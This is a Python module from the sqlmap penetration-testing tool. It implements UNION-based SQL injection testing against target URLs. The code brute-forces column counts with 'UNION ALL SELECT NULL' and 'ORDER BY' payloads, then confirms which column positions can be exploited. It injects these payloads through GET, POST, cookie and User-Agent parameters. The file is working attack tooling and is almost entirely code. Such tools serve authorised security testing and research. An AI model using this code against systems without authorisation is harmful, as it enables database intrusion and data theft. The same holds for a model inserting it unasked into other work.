#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
def __forgeUserFriendlyValue(payload):
value = ""
if kb.injPlace == "GET":
value = "%s?%s" % (conf.url, payload)
elif kb.injPlace == "POST":
value = "URL:\t'%s'" % conf.url
value += "\nPOST:\t'%s'\n" % payload
elif kb.injPlace == "Cookie":
value = "URL:\t'%s'" % conf.url
value += "\nCookie:\t'%s'\n" % payload
elif kb.injPlace == "User-Agent":
value = "URL:\t\t'%s'" % conf.url
value += "\nUser-Agent:\t'%s'\n" % payload
return value
def __unionPosition(negative=False, falseCond=False):
value = None
if negative or falseCond:
negLogMsg = "partial (single entry)"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
if negative:
infoMsg += " with negative parameter value"
elif falseCond:
infoMsg += " by appending a false condition after the parameter value"
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
value = __forgeUserFriendlyValue(payload)
break
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
return value
def __unionConfirm():
value = None
# Confirm the inband SQL injection and get the exact column
# position
if not isinstance(kb.unionPosition, int):
value = __unionPosition()
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
value = __unionPosition(falseCond=True)
# Assure that the above function found the exploitable partial
# (single entry) inband SQL injection position by appending
# a false condition after the parameter value
if not isinstance(kb.unionPosition, int):
value = __unionPosition(negative=True)
# Assure that the above function found the exploitable partial
# (single entry) inband SQL injection position with negative
# parameter value
if not isinstance(kb.unionPosition, int):
return
else:
setUnion(negative=True)
else:
setUnion(falseCond=True)
return value
def __unionTestByNULLBruteforce(comment):
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns
on the target database table
"""
columns = None
query = agent.prefixQuery(" UNION ALL SELECT NULL")
for count in range(0, 50):
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
query = query[:-len(" FROM DUAL")]
if count:
query += ", NULL"
if kb.dbms == "Oracle":
query += " FROM DUAL"
commentedQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=commentedQuery)
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if seqMatcher >= 0.6:
columns = count + 1
break
return columns
def __unionTestByOrderBy(comment):
columns = None
prevPayload = ""
for count in range(1, 51):
query = agent.prefixQuery(" ORDER BY %d" % count)
orderByQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=orderByQuery)
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if seqMatcher >= 0.6:
columns = count
elif columns:
break
prevPayload = payload
return columns
def unionTest():
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.direct:
return
if conf.uTech == "orderby":
technique = "ORDER BY clause bruteforcing"
else:
technique = "NULL bruteforcing"
infoMsg = "testing inband sql injection on parameter "
infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(infoMsg)
value = None
columns = None
for comment in (queries[kb.dbms].comment, ""):
if conf.uTech == "orderby":
columns = __unionTestByOrderBy(comment)
else:
columns = __unionTestByNULLBruteforce(comment)
if columns:
setUnion(comment=comment, count=columns)
break
if kb.unionCount:
value = __unionConfirm()
else:
warnMsg = "the target url is not affected by an "
warnMsg += "inband sql injection vulnerability"
logger.warn(warnMsg)
if value is None:
value = ""
return value